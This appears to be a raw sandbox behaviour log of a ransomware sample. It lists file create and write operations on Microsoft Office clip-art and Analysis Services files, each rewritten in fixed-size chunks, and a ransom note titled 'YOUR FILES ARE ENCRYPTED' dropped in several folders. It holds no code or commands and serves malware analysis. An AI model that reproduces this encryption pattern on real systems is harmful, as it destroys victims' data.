Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107130.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107132.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107134.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107138.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107146.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107148.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107150.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107152.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107154.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107158.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107182.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107188.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107192.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107254.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl size = 17285 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\!!! YOUR FILES ARE ENCRYPTED !!!.TXT size = 770 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl size = 18773 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl size = 30981 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl size = 29013 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl size = 34101 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl size = 32181 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl size = 39541 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl size = 29829 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 4096 True 4
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 37 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 4 True 5
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 32 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\!!! YOUR FILES ARE ENCRYPTED !!!.TXT size = 770 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll size = 14901 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF size = 9061 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\!!! YOUR FILES ARE ENCRYPTED !!!.TXT size = 770 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF size = 7253 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF size = 14901 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF size = 6709 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF size = 3285 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF size = 8133 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF size = 7717 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF size = 11925 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF size = 549 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF size = 533 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF size = 12741 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF size = 3509 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF size = 3173 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF size = 12517 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF size = 5285 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF size = 2629 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF size = 10645 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF size = 15333 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF size = 5349 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF size = 4981 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF size = 1173 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF size = 7621 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF size = 7013 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF size = 13285 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF size = 8613 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF size = 4933 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF size = 5413 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF size = 9285 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF size = 5045 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF size = 4421 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF size = 4005 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF size = 3413 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF size = 3157 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00010_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00010_.WMF size = 3061 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00010_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00010_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00010_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00015_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00015_.WMF size = 4773 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00015_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00015_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00015_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00790_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00790_.WMF size = 5717 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00790_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00790_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00790_.WMF size = 1268 True 1
Fn
Data
